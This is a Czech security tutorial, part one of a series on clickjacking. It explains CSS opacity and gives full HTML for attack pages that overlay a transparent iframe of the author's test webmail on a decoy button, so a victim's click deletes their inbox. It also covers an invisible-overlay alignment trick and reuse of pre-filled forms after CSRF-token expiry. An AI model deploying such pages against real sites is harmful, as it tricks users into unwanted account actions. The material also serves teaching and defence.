Zpět na seznam článků     Číst komentáře (6)     Verze pro tisk

Clickjacking (1)

Autor: .cCuMiNn.   
6.8.2012

Clickjacking (nebo-li útoky založené na rámech) nepatří v žádném případě mezi žhavé novinky na poli webové bezpečnosti. I přes to ale jde stále o jednu z nejčastěji se vyskytujících zranitelností webových aplikací. Útoky tohoto typu mohou navíc existovat v mnoha různých variantách, na které se postupně v této sérii článků podrobně podíváme. Tento úvodní díl je věnován průhledným rámům a únosu uživatelského kliknutí.


Abychom techniky clickjackingu dobře pochopili, přirovnám je nejprve k útokům typu Cross-Site Request Forgery (CSRF), o kterých jsme na stránkách tohoto serveru již několikrát psali. Při nich se útočník snaží přimět uživatele k odeslání nechtěného požadavku na stranu aplikace, k níž je uživatel přihlášen. Útočník toho může dosáhnout například zasláním odkazu prostřednictvím e-mailové zprávy. Ve chvíli, kdy uživatel na takový odkaz klikne, odešle pod svou identitou nevědomky na stranu serveru požadavek, který by zřejmě vědomě nikdy neodeslal. Takový požadavek může na straně serveru vyvolat například akce vedoucí ke změnám v nastavení uživatelského účtu.

Proti útokům CSRF naštestí existuje celkem spolehlivá ochrana. Stačí aby vývojáři přidávali ke všem potenciálně zneužitelným odkazům (a jiným zdrojům požadavků) jedinečný, časově omezený autorizační token.

V případě, kdy je podobná ochrana implementována, nemůže již útočník dopředu vytvořit útočný odkaz a podstrčit jej své oběti. Ovšem ani v tomto případě ještě není pro útočníka vše ztraceno. V tuto chvíli totiž přichází na řadu právě techniky clickjackingu.


Z historie Clickjackingu

Technika clickjacking dostala svůj název v roce 2008 spojením slov click a hijacking, což v překladu znamená "únos kliknutí". Toto slovní spojení tak poměrně přesně vystihuje způsob, jakým je clickjacking využíván při útoku. Během něj totiž dochází k přesvědčení oběti, že kliká na konkrétní (bezpečný) prvek webové stránky. Ve skutečnosti ovšem uživatelé klikají na úplně jiné (neviditelné) prvky, které navíc náleží jiným webovým aplikacím. O jejich existenci ovšem nemají oběti ani zdání.

Do dějin se clickjacking zapsal útokem proti bezpečnostnímu nastavení Flash Playeru. Během tohoto útoku provedl nic netušící uživatel nevinným klikáním takové změny v nastavení, které povolily zapnutí webkamery nebo mikrofonu a umožnily k nim útočníkovi přístup.

http://www.sectheory.com/clickjacking.htm
//www.youtube.com/watch?v=gxyLbpldmuU

Jak jsem uváděl již o pár odstavců výše, není clickjackingem nazývána pouze jedna konkrétní technika, ale hned celý souhrn různých metod, které mohou být útočníkem použity. Tento seriál začneme technikou, po níž je clickjacking pojmenován tedy tou, při které je po uživateli vyžadováno kliknutí na určité místo webové stránky. Následně si tuto techniku upravíme tak, aby bylo jedno, do jakého místa webové stránky uživatel klikne, představíme si techniky, při kterých bude uživatel vyplňovat a odesílat webové formuláře, anichž by měl nejmenší tušení, čeho se svým jednáním vlastně dopouští. Seznámíme se také s některými zajímavými možnostmi, které přineslo HTML5, nebo s tím, jak může být clickjacking nápomocenen při zneužívání non-perzistentní XSS zranitelnosti. V závěru seriálu pak samozřejmě nebude chybět přehled obraných metod, které použití clickjackingu proti webové aplikaci zabraňují.

I když bychom na Internetu dokázali najít nepřeberné množství aplikací, na kterých by bylo možné jednotlivé techniky úspěšně demonstrovat, zvolil jsem pro praktické ukázky, které budou tuto sérii článků doplňovat, náš vlastní projekt Hackme Webmail. Situace při jeho použití se nebude příliš lišit od stavu, který byl v oficiálních webmailových aplikacích před nedávnem stále běžný. Budete-li si chtít uvedené techniky na testovacím webmailu otestovat v praxi, stačí, když si v něm zaregistrujete dva uživatelské účty: Jeden pro roli útočníka a druhý pro roli oběti.


Začínáme

Protože se v tomto díle zaměříme na praktiky spojené s průhlednými rámy a jejich "proklikáváním", je potřeba se nejprve seznámit s vlastnostmi CSS, které budeme u jednotlivých rámů (HTML prvků IFRAME) využívat pro nastavení jejich průhlednosti.

Bohužel, stejně jako i v jiných oblastech, pracují i zde různé prohlížeče s průhledností prvků odlišně.

Firefox, Chrome, Opera, Safari a IE9 podporují pro průhlednost prvků CSS vlastnost opacity.
opacity: 0.5

Starší verze Firefoxu (tuším, že do verze 1.6) používaly vlastnost -moz-opacity.
-moz-opacity: 0.5

Konqueror v některých verzích zase zaváděl zápis
-khtml-opacity: 0.5

U uvedených zápisů vlastnosti opacity se její hodnota vyjadřujem desetinným čílem od 0 do 1, kde naprostou neprůhlednost vyjadřuje hodnota 1 a naprostou průhlednost hodnota 0. Poloprůhlednost tak můžeme dosáhnout například hodnotou 0.5.

Internet Explorer se jako obvykle vydal nejprve svou vlastní (zcela odlišnou) cestou a pro průhlednost prvků se u jeho starších verzí (5-8)* musí vlastnost opacity vložit ještě do filtru alpha. Hodnotu neprůhlednosti navíc v tomto případě vyjadřujeme v procentech 1-100.
filter:alpha(opacity=50);

* U Internet Exploreru 8 je trochu odlišný zápis: -ms-filter:alpha(opacity=50);


Pro ukázku zde nyní vložím tři obrázky vedle sebe. První z nich má nastavenu vlastnost opacity 0 druhý 0.5 a poslední 1. Je pochopitelné, že uvidíte obrázky pouze dva, ale věřte mi... je tam i třetí plně průhledný.

Kód použitý pro vložení obrázků
  1. <img src="clickjack.jpg" style="opacity:0;filter:alpha(opacity=0)">
  2. <img src="clickjack.jpg" style="opacity:0.5;filter:alpha(opacity=50)">
  3. <img src="clickjack.jpg" style="opacity:1;filter:alpha(opacity=100)">

Více se o CSS vlastnosti opacity můžete dočíst například na webu jakpsatweb.cz.

Za zmínku stojí také CSS vlastnoast z-index, která určuje pořadí prvku na ose z, nebo-li hloubku jeho překrytí. Pro bližší info vás opět odkáži na stránky jakpsatweb.cz.


Útočíme

Nyní se již konečně dostáváme k samotnému útoku. Nejprve si vyhlédneme webovou stránku v aplikaci, kde kliknutí na určitý prvek (např.odkaz) způsobí akci, kterou by uživatel nikdy vědomě neudělal. Ve své ukázce zvolím webovou stránku http://www.hackmail.cz/articles/index.php, která při přihlášeném uživateli obsahuje odkaz "Odstranit všechny zprávy". Jistě mi dáte za pravdu, že na tento odkaz by uživatel nevědomky kliknout nechtěl.

K samotnému útoku bude zapotřebí si založit vlastní webovou stránku, do jejíž obsahu vložíme cílovou stránku aplikace (proti které útočíme) ve formě plovoucího rámu (HTML prvek IFRAME). Tomuto rámu navíc nastavíme vlastností opacity plnou průhlednost, takže návštěvník námi připravené webové stránky neuvidí nic z obsahu rámu a nebude tak o jeho existenci vůbec vědět. Každopádně rám, včetně cílové webové stránky zde je, a plně reaguje na akce vyvolané uživatelovým klikáním.

Vložení skrytého rámu do webové stránky
  1. <html>
  2.   <head></head>
  3.   <body style="margin:0px">
  4.     <iframe
  5.      style="position:absolute; left:0px; top:0px; width:100%; height:100%; border:none; filter:alpha(opacity=0); -moz-opacity:0; opacity:0"
  6.      src="http://www.hackmail.cz/articles/index.php">
  7.     </iframe>
  8.   </body>
  9. </html>

Nyní již zbývá pouze přinutit uživatele, aby klikl na konkrétní místo webové stránky a tím nevědomky vyvolal požadované akce. V mé ukázce jsem zvolil tlačítko "Pro vstup klikni sem", které má navodit zdání, že se jedná o jakousi ochranu před vstupem robotů. Výsledný kód této stránky uvádím v následujícím výpise.

Ukázka útočné webové stránky
  1.  
  2. <html>
  3.   <head></head>
  4.   <body style="margin:0px">
  5.     <h3 style="position:absolute; left:40%; top:100px">Ochrana pred vstupem botu</h3>
  6.     <input type="button" value="Pro vstup klikni sem" style="position:absolute; left:58%; top:160px">
  7.     <iframe
  8.      style="position:absolute; left:0px; top:0px; width:100%; height:100%; border:none; filter:alpha(opacity=0); -moz-opacity:0; opacity:0"
  9.      src="http://www.hackmail.cz/articles/index.php">
  10.     </iframe>
  11.   </body>
  12. </html>

Máme-li útočnou stránku připravenu, stačí již jen zaslat odkaz své oběti prostřednictvím e-mailové zprávy (to, aby byla jistota, že bude v době útoku přihlášena ke svému účtu). Ve chvíli, kdy napadený uživatel odkaz navštíví a nechá se zlákat ke kliknutí na podvržené tlačítko, nevědomky tak přijde o veškerou svou doručenou poštu. Nejlépe bude celý postup zřejmý z videa, které ukazuje nejprve útok s poloprůhledným rámem a následně ostrý útok s rámem plně průhledným.


V reálné aplikaci se může často stát, že po klikutí na odkaz Odstranit všechny zprávy dojde k zobrazení potvrzující stránky, která se pro jistotu uživatele ještě zeptá: Jste si jist, že chcete odstranit všechny zprávy? V takovém případě může útočník na svou stránku umístit dva prvky, například s texty: Nejprve klikni sem a A následně klikni sem. Druhá z možností je vytvořit jednoduchou hru, ve které je úkolem kliknout na objekt, který mění svou pozici a zobrazuje se střídavě na místech obou odkazů. Jakmile uživatel klikne na první z odkazů, načte se v rámu potvrzující stránka, při kliknutí na druhý odkaz již bude dílo zcela dokonáno.

Nyní si možná kladete otázku, jak postupovat v případě, kdy je webová stránka tvořena dynamicky na základě rozlišení obrazovky, velikosti zobrazeného okna nebo jiných atributů a není tak možné naše prvky umístit na stránku absolutním pozicováním, aby se správně překrývaly s prvky původní stránky. V takové případě je nejjednodušší postupovat tak, že zkopírume celý obsah originální webové stránky a všem jejím prvkům, kromě cílového nastavíme stylem visibility neviditelnost (visibility:hidden). Cílový prvek pak již jen zaměníme za podvržený a máme jistotu, že se budou prvky vždy přesně prekrývat.

V praxi bychom tedy ke stránce, která je tvořena tímto kódem:

page.html
  1. <html>
  2.   <head></head>
  3.   <body>
  4.     <div style="margin-top:10%;margin-left:20%">
  5.       <h3>Nadpis</h3>
  6.       <p>Nejaky text,<br>jehoz pocet radku se odviji od sirky obrazovky</p>
  7.       <input type="button" value="Akce">
  8.     </div>
  9.   </body>
  10. </html>
mohli vytvořit tuto útočnou stránku, která by zajistila vždy přesné překrytí tlačítek Akce a Attack:
index.html
  1. <html>
  2.   <head></head>
  3.   <body>
  4.     <div style="margin-top:10%;margin-left:20%">
  5.       <h3 style="visibility:hidden">Nadpis</h3>
  6.       <p style="visibility:hidden">Nejaky text,<br>jehoz pocet radku se odviji od sirky obrazovky</p>
  7.       <input type="button" value="Attack">
  8.     </div>
  9.     <iframe style="position:absolute; left:0px; top:0px; width:100%; height:100%; border:none; filter:alpha(opacity=0); -moz-opacity:0; opacity:0" src="page.html"></iframe>
  10.   </body>
  11. </html>

Příklady využití

Příklad z tohoto dílu, který měl za následek smazání doručené pošty, je samozřejmě pouze ilustrační. Sami zajisté přijdete na velké množství mnohem užitečnějšího využití. Tím může být například vypnutí kontroly IP v aplikaci, nechtěné povolení neautorizovaného přístupu, hlasování v anketách nebo přidání liku. Pokud znáte systém, na který útočíte a dokážete využitím clickjackingu na správné osobě, můžete s jeho pomocí také měnit nastavení routerů a jiných zařízení ve vnitřní síti nebo administrovat cizí CMS.

Zajímavý je také typ útoku, který kombinuje zneužití clickjackingu a ochrany před CSRF. Často se můžete střetnout s formuláři, které proti CSRF obsahují autorizační token. Pokud tento token při odeslání odmažete nebo pozměníte, vrátí se vám formulář vyplněný dříve zadanými daty, ale s informací, že vypršela platnost tokenu. Formuláři je přidělen nový token a uživateli stačí jen znovu kliknout na tlačítko Odeslat.

Tohoto chování je ovšem velmi snadné zneužít právě při clickjackingu, kdy do rámu načteme takto předvyplněný formulář a oběť jej pak jediným kliknutím nevědomky odešle.


Co nás čeká příště

Příště si trochu více pohrajeme s pozicováním prvků na stránce, abychom nebyli tlačeni do míst, které určuje umístění originálního prvku. Představíme si takový útok, u kterého umístíme svůj prvek na stránku tam, kde nám to bude vyhovovat a tomuto umístění přispůsobíme pozici originálního prvku, na který útočíme.


Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1.3/20

1  2  3  4  5    
(známkování jako ve škole)